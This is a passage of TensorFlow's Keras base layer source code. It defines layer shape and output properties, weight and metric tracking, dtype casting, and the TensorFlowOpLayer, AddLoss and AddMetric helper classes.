return.') return self._get_node_attribute_at_index(0, 'input_tensors', 'input') @property def output(self): """Retrieves the output tensor(s) of a layer. Only applicable if the layer has exactly one output, i.e. if it is connected to one incoming layer. Returns: Output tensor or list of output tensors. Raises: AttributeError: if the layer is connected to more than one incoming layers. RuntimeError: if called in Eager mode. """ if not self._inbound_nodes: raise AttributeError('Layer ' + self.name + ' has no inbound nodes.') return self._get_node_attribute_at_index(0, 'output_tensors', 'output') @property def input_shape(self): """Retrieves the input shape(s) of a layer. Only applicable if the layer has exactly one input, i.e. if it is connected to one incoming layer, or if all inputs have the same shape. Returns: Input shape, as an integer shape tuple (or list of shape tuples, one tuple per input tensor). Raises: AttributeError: if the layer has no defined input_shape. RuntimeError: if called in Eager mode. """ if not self._inbound_nodes: raise AttributeError('The layer has never been called ' 'and thus has no defined input shape.') all_input_shapes = set( [str(node.input_shapes) for node in self._inbound_nodes]) if len(all_input_shapes) == 1: return self._inbound_nodes[0].input_shapes else: raise AttributeError('The layer "' + str(self.name) + ' has multiple inbound nodes, ' 'with different input shapes. Hence ' 'the notion of "input shape" is ' 'ill-defined for the layer. ' 'Use `get_input_shape_at(node_index)` ' 'instead.') def count_params(self): """Count the total number of scalars composing the weights. Returns: An integer count. Raises: ValueError: if the layer isn't yet built (in which case its weights aren't yet defined). """ if not self.built: if getattr(self, '_is_graph_network', False): with tf_utils.maybe_init_scope(self): self._maybe_build(self.inputs) else: raise ValueError('You tried to call `count_params` on ' + self.name + ', but the layer isn\'t built. ' 'You can build it manually via: `' + self.name + '.build(batch_input_shape)`.') return layer_utils.count_params(self.weights) @property def output_shape(self): """Retrieves the output shape(s) of a layer. Only applicable if the layer has one output, or if all outputs have the same shape. Returns: Output shape, as an integer shape tuple (or list of shape tuples, one tuple per output tensor). Raises: AttributeError: if the layer has no defined output shape. RuntimeError: if called in Eager mode. """ if not self._inbound_nodes: raise AttributeError('The layer has never been called ' 'and thus has no defined output shape.') all_output_shapes = set( [str(node.output_shapes) for node in self._inbound_nodes]) if len(all_output_shapes) == 1: return self._inbound_nodes[0].output_shapes else: raise AttributeError('The layer "%s"' ' has multiple inbound nodes, ' 'with different output shapes. Hence ' 'the notion of "output shape" is ' 'ill-defined for the layer. ' 'Use `get_output_shape_at(node_index)` ' 'instead.' % self.name) @property @doc_controls.do_not_doc_inheritable def inbound_nodes(self): """Deprecated, do NOT use! Only for compatibility with external Keras.""" return self._inbound_nodes @property @doc_controls.do_not_doc_inheritable def outbound_nodes(self): """Deprecated, do NOT use! Only for compatibility with external Keras.""" return self._outbound_nodes ############################################################################## # Methods & attributes below are public aliases of other methods. # ############################################################################## @deprecation.deprecated( date=None, instructions='Please use `layer.__call__` method instead.') @doc_controls.do_not_doc_inheritable def apply(self, inputs, *args, **kwargs): """Deprecated, do NOT use! This is an alias of `self.__call__`. Arguments: inputs: Input tensor(s). *args: additional positional arguments to be passed to `self.call`. **kwargs: additional keyword arguments to be passed to `self.call`. Returns: Output tensor(s). """ return self.__call__(inputs, *args, **kwargs) @deprecation.deprecated( date=None, instructions='Please use `layer.add_weight` method instead.') @doc_controls.do_not_doc_inheritable def add_variable(self, *args, **kwargs): """Deprecated, do NOT use! Alias for `add_weight`.""" return self.add_weight(*args, **kwargs) @property def variables(self): """Returns the list of all layer variables/weights. Alias of `self.weights`. Returns: A list of variables. """ return self.weights @property def trainable_variables(self): return self.trainable_weights @property def non_trainable_variables(self): return self.non_trainable_weights ############################################################################## # Methods & attributes below are all private and only used by the framework. # ############################################################################## def _set_dtype_policy(self, dtype): """Sets self._dtype_policy.""" if isinstance(dtype, policy.Policy): self._dtype_policy = dtype elif isinstance(dtype, dict): self._dtype_policy = policy.deserialize(dtype) elif dtype: self._dtype_policy = policy.Policy(dtypes.as_dtype(dtype).name) else: self._dtype_policy = policy.global_policy() # This has no impact on the layer behavior, and is only used for printing # warnings. self._dtype_defaulted_to_floatx = (not dtype and policy.policy_defaults_to_floatx()) # TODO(reedwm): Expose this property? @property def _compute_dtype(self): """The layer's compute dtype. Unless mixed-precision is used, this is the same as `Layer.dtype`. If self._autocast is True, layer's will cast floating-point inputs to this. Returns: The layer's compute dtype. """ return self._dtype_policy.compute_dtype def _maybe_cast_inputs(self, inputs): """Maybe casts the inputs to the compute dtype. If self._compute_dtype is floating-point, and self_autocast is True, floating-point inputs are casted to self._compute_dtype. Args: inputs: Input tensor, or structure of input tensors. Returns: `inputs`, but tensors may have been casted to self._compute_dtype """ compute_dtype = self._compute_dtype if (self._autocast and compute_dtype and dtypes.as_dtype(compute_dtype).is_floating): def f(x): """Cast a single Tensor or TensorSpec to the compute dtype.""" cast_types = (ops.Tensor, sparse_tensor.SparseTensor, ragged_tensor.RaggedTensor) if (isinstance(x, cast_types) and x.dtype.is_floating and x.dtype.base_dtype.name != compute_dtype): if self._dtype_defaulted_to_floatx: self._warn_about_input_casting(x.dtype.base_dtype) return math_ops.cast(x, compute_dtype) elif isinstance(x, tensor_spec.TensorSpec) and x.dtype.is_floating: # Inputs may be TensorSpecs when this function is called from # model._set_inputs. return tensor_spec.TensorSpec(x.shape, compute_dtype, x.name) else: return x return nest.map_structure(f, inputs) else: return inputs def _warn_about_input_casting(self, input_dtype): # self._already_warned_about_input_casting is only retrieved or set in this # function. already_warned = getattr(self, '_already_warned_about_input_casting', False) if not already_warned: tf_logging.warn( "Layer {self.name} is casting an input tensor from dtype " "{input_dtype} to the layer's dtype of {layer_dtype}, which is new " "behavior in TensorFlow 2. The layer has dtype {layer_dtype} " "because it's dtype defaults to floatx.\n\n" "" "If you intended to run this layer in {layer_dtype}, you can safely " "ignore this warning. If in doubt, this warning is likely only an " "issue if you are porting a TensorFlow 1.X model to TensorFlow 2.\n\n" "" "To change all layers to have dtype {input_dtype} by default, call " "`tf.keras.backend.set_floatx('{input_dtype}')`. To change just this " "layer, pass dtype='{input_dtype}' to the layer constructor. If you " "are the author of this layer, you can disable autocasting by " "passing autocast=False to the base Layer constructor.\n".format( self=self, input_dtype=input_dtype.name, layer_dtype=self._compute_dtype)) self._already_warned_about_input_casting = True # _dtype used to be an attribute set in the constructor. We still expose it # because some clients still use it. # TODO(reedwm): Deprecate, then remove the _dtype property. @property def _dtype(self): # This is equivalent to returning self.dtype . We do not return self.dtype # as it would cause infinite recursion in a few subclasses, which override # "dtype" to return self._dtype. return self._dtype_policy.variable_dtype @_dtype.setter def _dtype(self, value): value = dtypes.as_dtype(value).name self._dtype_policy = policy.Policy(value) def _name_scope(self): return self.name def _init_set_name(self, name, zero_based=True): if not name: self._name = backend.unique_object_name( generic_utils.to_snake_case(self.__class__.__name__), zero_based=zero_based) else: self._name = name def _get_existing_metric(self, name=None): match = [m for m in self._metrics if m.name == name] if not match: return if len(match) > 1: raise ValueError( 'Please provide different names for the metrics you have added. ' 'We found {} metrics with the name: "{}"'.format(len(match), name)) return match[0] def _eager_add_metric(self, value, aggregation=None, name=None): # If the given metric is available in `metrics` list we just update state # on it, otherwise we create a new metric instance and # add it to the `metrics` list. metric_obj = getattr(value, '_metric_obj', None) if metric_obj: name = metric_obj.name match = self._get_existing_metric(name) if match: # Tensors that come from a Metric object already updated the Metric state. if not metric_obj: match(value) return if not metric_obj: assert aggregation is not None metric_obj, _ = base_layer_utils.create_mean_metric(value, name) self._metrics.append(metric_obj) def _symbolic_add_metric(self, value, aggregation=None, name=None): base_layer_utils.check_graph_consistency(value, method='add_metric') match = self._get_existing_metric(name) if aggregation is None: # Iterate over the metrics and check if the given metric exists already. # This can happen when a metric instance is created in subclassed model # layer `__init__` and we have tracked that instance already in # model.__setattr__. if match: result_tensor = value metric_obj = match elif hasattr(value, '_metric_obj'): # We track the instance using the metadata on the result tensor. result_tensor = value metric_obj = result_tensor._metric_obj self._metrics.append(metric_obj) else: raise ValueError( 'We do not support adding an aggregated metric result tensor that ' 'is not the output of a `tf.keras.metrics.Metric` metric instance. ' 'Without having access to the metric instance we cannot reset the ' 'state of a metric after every epoch during training. You can ' 'create a `tf.keras.metrics.Metric` instance and pass the result ' 'here or pass an un-aggregated result with `aggregation` parameter ' 'set as `mean`. For example: `self.add_metric(tf.reduce_sum(inputs)' ', name=\'mean_activation\', aggregation=\'mean\')`') else: # If a non-aggregated tensor is given as input (ie. `aggregation` is # explicitly set to `mean`), we wrap the tensor in `Mean` metric. if match: result_tensor = match(value) metric_obj = match else: metric_obj, result_tensor = base_layer_utils.create_mean_metric( value, name) self._metrics.append(metric_obj) def _handle_weight_regularization(self, name, variable, regularizer): """Create lambdas which compute regularization losses.""" def _loss_for_variable(v): """Creates a regularization loss `Tensor` for variable `v`.""" with backend.name_scope(name + '/Regularizer'): regularization = regularizer(v) return regularization if isinstance(variable, tf_variables.PartitionedVariable): for v in variable: self.add_loss(functools.partial(_loss_for_variable, v)) else: self.add_loss(functools.partial(_loss_for_variable, variable)) def _handle_activity_regularization(self, inputs, outputs): # Apply activity regularization. # Note that it should be applied every time the layer creates a new # output, since it is output-specific. if self._activity_regularizer: output_list = nest.flatten(outputs) with backend.name_scope('ActivityRegularizer'): for output in output_list: activity_loss = self._activity_regularizer(output) batch_size = math_ops.cast( array_ops.shape(output)[0], activity_loss.dtype) # Make activity regularization strength batch-agnostic. mean_activity_loss = activity_loss / batch_size base_layer_utils.check_graph_consistency( mean_activity_loss, method='activity_regularizer') self.add_loss(mean_activity_loss, inputs=inputs) def _set_mask_metadata(self, inputs, outputs, previous_mask): flat_outputs = nest.flatten(outputs) mask_already_computed = ( getattr(self, '_compute_output_and_mask_jointly', False) or all(getattr(x, '_keras_mask', None) is not None for x in flat_outputs)) # Only compute the mask if the Layer explicitly supports masking or has # overridden `compute_mask`. should_compute_mask = ( hasattr(self, 'compute_mask') and (self.supports_masking or not getattr(self.compute_mask, '_is_default', False))) if mask_already_computed: flat_masks = [getattr(x, '_keras_mask', None) for x in flat_outputs] elif not should_compute_mask: flat_masks = [None for _ in flat_outputs] else: output_masks = self.compute_mask(inputs, previous_mask) # `compute_mask` can return a single `None` even when a Layer # has multiple outputs. if output_masks is None: flat_masks = [None for _ in flat_outputs] else: flat_masks = nest.flatten(output_masks) for output, mask in zip(flat_outputs, flat_masks): try: output._keras_mask = mask except AttributeError: # C Type such as np.ndarray. pass if tf_utils.are_all_symbolic_tensors(flat_outputs): for output in flat_outputs: if getattr(output, '_keras_mask', None) is not None: # Do not track masks for `TensorFlowOpLayer` construction. output._keras_mask._keras_history_checked = True def _collect_input_masks(self, inputs, args, kwargs): """Checks if `mask` argument was passed, else gathers mask from inputs.""" if self._call_arg_was_passed('mask', args, kwargs): return self._get_call_arg_value('mask', args, kwargs) if not self._should_compute_mask: return None input_masks = nest.map_structure(lambda t: getattr(t, '_keras_mask', None), inputs) if generic_utils.is_all_none(input_masks): return None return input_masks def _call_arg_was_passed(self, arg_name, args, kwargs, inputs_in_args=False): if arg_name in kwargs: return True call_fn_args = self._call_fn_args if not inputs_in_args: # Ignore `inputs` arg. call_fn_args = call_fn_args[1:] if arg_name in dict(zip(call_fn_args, args)): return True return False def _get_call_arg_value(self, arg_name, args, kwargs, inputs_in_args=False): if arg_name in kwargs: return kwargs[arg_name] call_fn_args = self._call_fn_args if not inputs_in_args: # Ignore `inputs` arg. call_fn_args = call_fn_args[1:] args_dict = dict(zip(call_fn_args, args)) return args_dict[arg_name] def _set_connectivity_metadata_(self, inputs, outputs, args, kwargs): # If the layer returns tensors from its inputs, unmodified, # we copy them to avoid loss of tensor metadata. output_ls = nest.flatten(outputs) inputs_ls = object_identity.ObjectIdentitySet(nest.flatten(inputs)) output_ls_copy = [] for x in output_ls: if x in inputs_ls: with backend.name_scope(self.name): x = array_ops.identity(x) output_ls_copy.append(x) outputs = nest.pack_sequence_as(outputs, output_ls_copy) # Ignore `inputs` arg. arguments = dict(zip(self._call_fn_args[1:], args)) arguments.update(kwargs) # Add an inbound node to the layer, so it can keep track of this call. # This updates the layer history of the output tensor(s). self._add_inbound_node( input_tensors=inputs, output_tensors=outputs, arguments=arguments) return inputs, outputs def _add_inbound_node(self, input_tensors, output_tensors, arguments=None): """Internal method to create an inbound node for the layer. Arguments: input_tensors: list of input tensors. output_tensors: list of output tensors. arguments: dictionary of keyword arguments that were passed to the `call` method of the layer at the call that created the node. """ inbound_layers = nest.map_structure(lambda t: t._keras_history.layer, input_tensors) node_indices = nest.map_structure(lambda t: t._keras_history.node_index, input_tensors) tensor_indices = nest.map_structure(lambda t: t._keras_history.tensor_index, input_tensors) # Create node, add it to inbound nodes. node_module.Node( self, inbound_layers=inbound_layers, node_indices=node_indices, tensor_indices=tensor_indices, input_tensors=input_tensors, output_tensors=output_tensors, arguments=arguments) # Update tensor history metadata. # The metadata attribute consists of # 1) a layer instance # 2) a node index for the layer # 3) a tensor index for the node. # The allows layer reuse (multiple nodes per layer) and multi-output # or multi-input layers (e.g. a layer can return multiple tensors, # and each can be sent to a different layer). for i, tensor in enumerate(nest.flatten(output_tensors)): tensor._keras_history = KerasHistory(self, len(self._inbound_nodes) - 1, i) # pylint: disable=protected-access def _get_node_attribute_at_index(self, node_index, attr, attr_name): """Private utility to retrieves an attribute (e.g. inputs) from a node. This is used to implement the methods: - get_input_shape_at - get_output_shape_at - get_input_at etc... Arguments: node_index: Integer index of the node from which to retrieve the attribute. attr: Exact node attribute name. attr_name: Human-readable attribute name, for error messages. Returns: The layer's attribute `attr` at the node of index `node_index`. Raises: RuntimeError: If the layer has no inbound nodes, or if called in Eager mode. ValueError: If the index provided does not match any node. """ if not self._inbound_nodes: raise RuntimeError('The layer has never been called ' 'and thus has no defined ' + attr_name + '.') if not len(self._inbound_nodes) > node_index: raise ValueError('Asked to get ' + attr_name + ' at node ' + str(node_index) + ', but the layer has only ' + str(len(self._inbound_nodes)) + ' inbound nodes.') values = getattr(self._inbound_nodes[node_index], attr) if isinstance(values, list) and len(values) == 1: return values[0] else: return values def _maybe_build(self, inputs): # Check input assumptions set before layer building, e.g. input rank. if not self.built: input_spec.assert_input_compatibility( self.input_spec, inputs, self.name) input_list = nest.flatten(inputs) if input_list and self._dtype_policy.compute_dtype is None: try: dtype = input_list[0].dtype.base_dtype.name except AttributeError: pass else: self._dtype_policy = policy.Policy(dtype) input_shapes = None if all(hasattr(x, 'shape') for x in input_list): input_shapes = nest.map_structure(lambda x: x.shape, inputs) # Only call `build` if the user has manually overridden the build method. if not hasattr(self.build, '_is_default'): # Any setup work performed only once should happen in an `init_scope` # to avoid creating symbolic Tensors that will later pollute any eager # operations. with tf_utils.maybe_init_scope(self): self.build(input_shapes) # We must set self.built since user defined build functions are not # constrained to set self.built. self.built = True # Optionally load weight values specified at layer instantiation. if getattr(self, '_initial_weights', None) is not None: self.set_weights(self._initial_weights) self._initial_weights = None def _symbolic_call(self, inputs): input_shapes = nest.map_structure(lambda x: x.shape, inputs) output_shapes = self.compute_output_shape(input_shapes) def _make_placeholder_like(shape): ph = backend.placeholder(shape=shape, dtype=self.dtype) ph._keras_mask = None return ph return nest.map_structure(_make_placeholder_like, output_shapes) def _get_trainable_state(self): """Get the `trainable` state of each sublayer. Returns: A dict mapping all sublayers to their `trainable` value. """ layers = trackable_layer_utils.filter_empty_layer_containers(self._layers) # Keep track of each top-level layers' `trainable` as well as the # state of all of its sublayers. trainable_state = {self: self.trainable} for layer in layers: trainable_state.update(layer._get_trainable_state()) return trainable_state def _set_trainable_state(self, trainable_state): """Set `trainable` state for each sublayer.""" layers = trackable_layer_utils.filter_empty_layer_containers(self._layers) if self in trainable_state: self.trainable = trainable_state[self] for layer in layers: layer._set_trainable_state(trainable_state) @property def _obj_reference_counts(self): """A dictionary counting the number of attributes referencing an object.""" self._maybe_create_attribute('_obj_reference_counts_dict', object_identity.ObjectIdentityDictionary()) return self._obj_reference_counts_dict @trackable.no_automatic_dependency_tracking def _maybe_create_attribute(self, name, default_value): """Create the attribute with the default value if it hasn't been created. This is useful for fields that is used for tracking purpose, _trainable_weights, or _layers. Note that user could create a layer subclass and assign an internal field before invoking the Layer.__init__(), the __setattr__() need to create the tracking fields and __init__() need to not override them. Args: name: String, the name of the attribute. default_value: Object, the default value of the attribute. """ if not hasattr(self, name): super(Layer, self).__setattr__(name, default_value) def __delattr__(self, name): # For any super.__delattr__() call, we will directly use the implementation # in Trackable and skip the behavior in AutoTrackable. The Layer was # originally use Trackable as base class, the change of using Module as base # class forced us to have AutoTrackable in the class hierarchy. Skipping # the __delattr__ and __setattr__ in AutoTrackable will keep the status quo. existing_value = getattr(self, name, None) # If this value is replacing an existing object assigned to an attribute, we # should clean it out to avoid leaking memory. First we check if there are # other attributes referencing it. reference_counts = self._obj_reference_counts if existing_value not in reference_counts: super(tracking.AutoTrackable, self).__delattr__(name) return reference_count = reference_counts[existing_value] if reference_count > 1: # There are other remaining references. We can't remove this object from # _layers etc. reference_counts[existing_value] = reference_count - 1 super(tracking.AutoTrackable, self).__delattr__(name) return else: # This is the last remaining reference. del reference_counts[existing_value] super(tracking.AutoTrackable, self).__delattr__(name) if (isinstance(existing_value, Layer) or trackable_layer_utils.has_weights(existing_value)): super(tracking.AutoTrackable, self).__setattr__( '_layers', [l for l in self._layers if l is not existing_value]) self._attribute_sentinel.invalidate_all() if isinstance(existing_value, tf_variables.Variable): super(tracking.AutoTrackable, self).__setattr__( '_trainable_weights', [w for w in self._trainable_weights if w is not existing_value]) super(tracking.AutoTrackable, self).__setattr__( '_non_trainable_weights', [w for w in self._non_trainable_weights if w is not existing_value]) # Any time we change `_layers` (either by deleting the attribute or by # reassigning it which will call __delattr__ from __setattr__) the topology # of the subgraph of Layers may change. In that case we will need to # recompute any attribute which depends on that subgraph. if name == '_layers': self._attribute_sentinel.invalidate_all() def __setattr__(self, name, value): if (name == '_self_setattr_tracking' or not getattr(self, '_self_setattr_tracking', True) or # Exclude @property.setters from tracking hasattr(self.__class__, name)): try: super(tracking.AutoTrackable, self).__setattr__(name, value) except AttributeError: raise AttributeError( ('Can\'t set the attribute "{}", likely because it conflicts with ' 'an existing read-only @property of the object. Please choose a ' 'different name.').format(name)) return # Keep track of trackable objects, for the needs of `Network.save_weights`. value = data_structures.sticky_attribute_assignment( trackable=self, value=value, name=name) reference_counts = self._obj_reference_counts reference_counts[value] = reference_counts.get(value, 0) + 1 # Clean out the old attribute, which clears _layers and _trainable_weights # if necessary. try: self.__delattr__(name) except AttributeError: pass # TODO(scottzhu): Need to track Module object as well for weight tracking. # Be careful about metric if it becomes a Module in future. # Append value to self._layers if relevant # Sequential models use a separate layer tracking mechanism, so skip the # logic defined here for tracking layers. if (self.__class__.__name__ != 'Sequential' and (isinstance(value, Layer) or trackable_layer_utils.has_weights(value))): self._maybe_create_attribute('_layers', []) # We need to check object identity to avoid de-duplicating empty # container types which compare equal. if not any((layer is value for layer in self._layers)): self._layers.append(value) if hasattr(value, '_attribute_sentinel'): value._attribute_sentinel.add_parent(self._attribute_sentinel) if hasattr(value, '_use_resource_variables'): # Legacy layers (V1 tf.layers) must always use # resource variables. value._use_resource_variables = True # Append value to list of trainable / non-trainable weights if relevant # TODO(b/125122625): This won't pick up on any variables added to a # list/dict after creation. for val in nest.flatten(value): # TODO(b/126450014): Remove `_UnreadVariable` check here when assign ops # no longer return True for isinstance Variable checks. if not isinstance(val, tf_variables.Variable): continue if isinstance(val, resource_variable_ops._UnreadVariable): # pylint: disable=protected-access continue # Users may add extra weights/variables # simply by assigning them to attributes (invalid for graph networks) self._maybe_create_attribute('_trainable_weights', []) self._maybe_create_attribute('_non_trainable_weights', []) if val.trainable: if any(val is w for w in self._trainable_weights): continue self._trainable_weights.append(val) else: if any(val is w for w in self._non_trainable_weights): continue self._non_trainable_weights.append(val) backend.track_variable(val) # Skip the auto trackable from tf.Module to keep status quo. See the comment # at __delattr__. super(tracking.AutoTrackable, self).__setattr__(name, value) def _gather_children_attribute(self, attribute): assert attribute in { 'weights', 'trainable_weights', 'non_trainable_weights' } if hasattr(self, '_layers'): nested_layers = trackable_layer_utils.filter_empty_layer_containers( self._layers) return list( itertools.chain.from_iterable( getattr(layer, attribute) for layer in nested_layers)) return [] def _gather_unique_layers(self): """Returns the current layer and all its children depth first deduped. We are deduping after getting the layers to maintain the order. """ all_layers = self._gather_layers() unique_layers, seen_layers = [], object_identity.ObjectIdentitySet() for layer in all_layers: if layer not in seen_layers: unique_layers.append(layer) # Track the Variable's identity to avoid __eq__ issues. seen_layers.add(layer) return unique_layers def _gather_layers(self): """Returns the current layer and all its children depth first.""" all_layers = [self] if hasattr(self, '_layers'): child_layers = trackable_layer_utils.filter_empty_layer_containers( self._layers) for child_layer in child_layers: all_layers.extend(child_layer._gather_layers()) return all_layers @property @tracking.cached_per_instance def _attribute_sentinel(self): return trackable_layer_utils.AttributeSentinel() # This is a hack so that the is_layer (within # training/trackable/layer_utils.py) check doesn't get the weights attr. # TODO(b/110718070): Remove when fixed. def _is_layer(self): return True def _init_call_fn_args(self): # Clear cached call function arguments. self.__class__._call_full_argspec.fget.cache.pop(self, None) self.__class__._call_fn_args.fget.cache.pop(self, None) self.__class__._call_accepts_kwargs.fget.cache.pop(self, None) call_fn_args = self._call_fn_args self._expects_training_arg = ('training' in call_fn_args or self._call_accepts_kwargs) self._expects_mask_arg = ('mask' in call_fn_args or self._call_accepts_kwargs) @property @tracking.cached_per_instance def _call_full_argspec(self): # Argspec inspection is expensive and the call spec is used often, so it # makes sense to cache the result. return tf_inspect.getfullargspec(self.call) @property @tracking.cached_per_instance def _call_fn_args(self): all_args = self._call_full_argspec.args # Scrub `self` that appears if a decorator was applied. if all_args and all_args[0] == 'self': return all_args[1:] return all_args @property @tracking.cached_per_instance def _call_accepts_kwargs(self): return self._call_full_argspec.varkw is not None @property @tracking.cached_per_instance def _should_compute_mask(self): return ('mask' in self._call_fn_args or getattr(self, 'compute_mask', None) is not None) @property def _eager_losses(self): # A list of loss values containing activity regularizers and losses # manually added through `add_loss` during eager execution. It is cleared # after every batch. # Because we plan on eventually allowing a same model instance to be trained # in eager mode or graph mode alternatively, we need to keep track of # eager losses and symbolic losses via separate attributes. if not hasattr(self._thread_local, '_eager_losses'): self._thread_local._eager_losses = [] return self._thread_local._eager_losses @_eager_losses.setter def _eager_losses(self, losses): self._thread_local._eager_losses = losses def _dedup_weights(self, weights): """Dedupe weights while maintaining order as much as possible.""" output, seen_weights = [], object_identity.ObjectIdentitySet() for w in weights: if w not in seen_weights: output.append(w) # Track the Variable's identity to avoid __eq__ issues. seen_weights.add(w) return output # SavedModel properties. Please see keras/saving/saved_model for details. @property def _trackable_saved_model_saver(self): return layer_serialization.LayerSavedModelSaver(self) @property def _object_identifier(self): return self._trackable_saved_model_saver.object_identifier @property def _tracking_metadata(self): return self._trackable_saved_model_saver.tracking_metadata def _list_extra_dependencies_for_serialization(self, serialization_cache): return (self._trackable_saved_model_saver .list_extra_dependencies_for_serialization(serialization_cache)) def _list_functions_for_serialization(self, serialization_cache): return (self._trackable_saved_model_saver .list_functions_for_serialization(serialization_cache)) def __getstate__(self): # Override to support `copy.deepcopy` and pickling. # Thread-local objects cannot be copied in Python 3, so pop these. # Thread-local objects are used to cache losses in MirroredStrategy, and # so shouldn't be copied. state = self.__dict__.copy() state.pop('_thread_local', None) return state def __setstate__(self, state): state['_thread_local'] = threading.local() # Bypass Trackable logic as `__dict__` already contains this info. object.__setattr__(self, '__dict__', state) class TensorFlowOpLayer(Layer): """Wraps a TensorFlow Operation in a Layer. This class is used internally by the Functional API. When a user uses a raw TensorFlow Operation on symbolic tensors originating from an `Input` Layer, the resultant operation will be wrapped with this Layer object in order to make the operation compatible with the Keras API. This Layer will create a new, identical operation (except for inputs and outputs) every time it is called. If `run_eagerly` is `True`, the op creation and calculation will happen inside an Eager function. Instances of this Layer are created when `autolambda` is called, which is whenever a Layer's `__call__` encounters symbolic inputs that do not have Keras metadata, or when a Network's `__init__` encounters outputs that do not have Keras metadata. Attributes: node_def: String, the serialized NodeDef of the Op this layer will wrap. name: String, the name of the Layer. constants: Dict of NumPy arrays, the values of any Tensors needed for this Operation that do not originate from a Keras `Input` Layer. Since all placeholders must come from Keras `Input` Layers, these Tensors must be treated as constant in the Functional API. trainable: Bool, whether this Layer is trainable. Currently Variables are not supported, and so this parameter has no effect. dtype: The default dtype of this Layer. Inherited from `Layer` and has no effect on this class, however is used in `get_config`. """ def __init__(self, node_def, name, constants=None, trainable=True, dtype=None): # Pass autocast=False, as if inputs are cast, input types might not match # Operation type. super(TensorFlowOpLayer, self).__init__( name=_TF_OP_LAYER_NAME_PREFIX + name, trainable=trainable, dtype=dtype, autocast=False) _keras_layers_gauge.get_cell('TensorflowOpLayer').set(True) if isinstance(node_def, dict): self.node_def = json_format.ParseDict(node_def, node_def_pb2.NodeDef()) else: if not isinstance(node_def, bytes): node_def = node_def.encode('utf-8') self.node_def = node_def_pb2.NodeDef.FromString(node_def) # JSON serialization stringifies keys which are integer input indices. self.constants = ({ int(index): constant for index, constant in constants.items() } if constants is not None else {}) # Layer uses original op unless it is called on new inputs. # This means `built` is not set in `__call__`. self.built = True def call(self, inputs): if context.executing_eagerly(): return self._defun_call(inputs) return self._make_op(inputs) def _make_node_def(self, graph): node_def = node_def_pb2.NodeDef() node_def.CopyFrom(self.node_def) # Used in TPUReplicateContext to indicate whether this node has been cloned # and to not add TPU attributes. node_def.attr['_cloned'].b = True node_def.name = graph.unique_name(node_def.name) return node_def def _make_op(self, inputs): inputs = nest.flatten(inputs) graph = inputs[0].graph node_def = self._make_node_def(graph) with graph.as_default(): for index, constant in self.constants.items(): # Recreate constant in graph to add distribution context. value = tensor_util.constant_value(constant) if value is not None: constant = constant_op.constant(value, name=node_def.input[index]) inputs.insert(index, constant) c_op = ops._create_c_op(graph, node_def, inputs, control_inputs=[]) op = graph._create_op_from_tf_operation(c_op) op._control_flow_post_processing() # Record the gradient because custom-made ops don't go through the # code-gen'd eager call path op_type = compat.as_str(op.op_def.name) attr_names = [compat.as_str(attr.name) for attr in op.op_def.attr] attrs = [] for attr_name in attr_names: attrs.append(attr_name) attrs.append(op.get_attr(attr_name)) attrs = tuple(attrs) execute.record_gradient(op_type, op.inputs, attrs, op.outputs) if len(op.outputs) == 1: return op.outputs[0] return op.outputs @function.defun def _defun_call(self, inputs): """Wraps the op creation method in an Eager function for `run_eagerly`.""" return self._make_op(inputs) def get_config(self): config = super(TensorFlowOpLayer, self).get_config() config.update({ # `__init__` prefixes the name. Revert to the constructor argument. 'name': config['name'][len(_TF_OP_LAYER_NAME_PREFIX):], 'node_def': json_format.MessageToDict(self.node_def), 'constants': { i: backend.get_value(c) for i, c in self.constants.items() } }) return config class AddLoss(Layer): """Adds its inputs as a loss. Attributes: unconditional: Whether or not the loss should be conditioned on the inputs. """ def __init__(self, unconditional, **kwargs): # Pass autocast=False, as there is no reason to cast loss to a different # dtype. kwargs['autocast'] = False super(AddLoss, self).__init__(**kwargs) self.unconditional = unconditional def call(self, inputs): self.add_loss(inputs, inputs=(not self.unconditional)) return inputs def get_config(self): config = super(AddLoss, self).get_config() config.update({'unconditional': self.unconditional}) return config class AddMetric(Layer): """Adds its inputs as a metric. Attributes: aggregation: 'mean' or None. How the inputs should be aggregated. metric_name: The name to use for this metric. """ def __init__(self, aggregation=None, metric_name=None, **kwargs): super(AddMetric, self).__init__(**kwargs) self.aggregation = aggregation self.metric_name = metric_name def call(self, inputs): self.add_metric(inputs, self.aggregation, self.metric_name) return inputs def get_config(self): config = super(AddMetric, self).get_config() config.update({ 'aggregation': self.aggregation, 'metric_name': self.metric_name }) return config class KerasHistory( collections.namedtuple('KerasHistory', ['layer', 'node_index', 'tensor_index'])): """Tracks the Layer call that created a Tensor, for Keras Graph Networks. During construction of Keras Graph Networks, this metadata is added to each Tensor produced as the output of a Layer, starting with an `InputLayer`. This allows Keras to track how each Tensor was produced, and this information is later retraced by the `keras.engine.Network` class to reconstruct the Keras Graph Network. Attributes: layer: The Layer that produced the Tensor. node_index: The specific call to the Layer that produced this Tensor. Layers can be called multiple times in order to share weights. A new node is created every time a Tensor is called. tensor_index: The output index for this Tensor. Always zero if the Layer that produced this Tensor only has one output. Nested structures of Tensors are deterministically assigned an index via `nest.flatten`. """ # Added to maintain memory and performance characteristics of `namedtuple` # while subclassing. __slots__ = () # Avoid breaking users who directly import this symbol from this file. # TODO(fchollet): remove this. InputSpec = input_spec.InputSpec # pylint:disable=invalid-name

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from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import functools import itertools import threading import numpy as np from six.moves import zip from google.protobuf import json_format from tensorflow.core.framework import node_def_pb2 from tensorflow.python.autograph.core import ag_ctx from tensorflow.python.autograph.impl import api as autograph from tensorflow.python.distribute import distribution_strategy_context as ds_context from tensorflow.python.eager import context from tensorflow.python.eager import execute from tensorflow.python.eager import function from tensorflow.python.eager import monitoring from tensorflow.python.framework import auto_control_deps from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import func_graph from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_spec from tensorflow.python.framework import tensor_util from tensorflow.python.keras import backend from tensorflow.python.keras import constraints from tensorflow.python.keras import initializers from tensorflow.python.keras import regularizers from tensorflow.python.keras.engine import base_layer_utils from tensorflow.python.keras.engine import input_spec from tensorflow.python.keras.engine import node as node_module from tensorflow.python.keras.mixed_precision.experimental import autocast_variable from tensorflow.python.keras.mixed_precision.experimental import policy from tensorflow.python.keras.saving.saved_model import layer_serialization from tensorflow.python.keras.utils import generic_utils from tensorflow.python.keras.utils import layer_utils from tensorflow.python.keras.utils import tf_utils from tensorflow.python.keras.utils.generic_utils import to_snake_case from tensorflow.python.keras.utils.tf_utils import is_tensor_or_tensor_list from tensorflow.python.module import module from tensorflow.python.ops import array_ops from tensorflow.python.ops 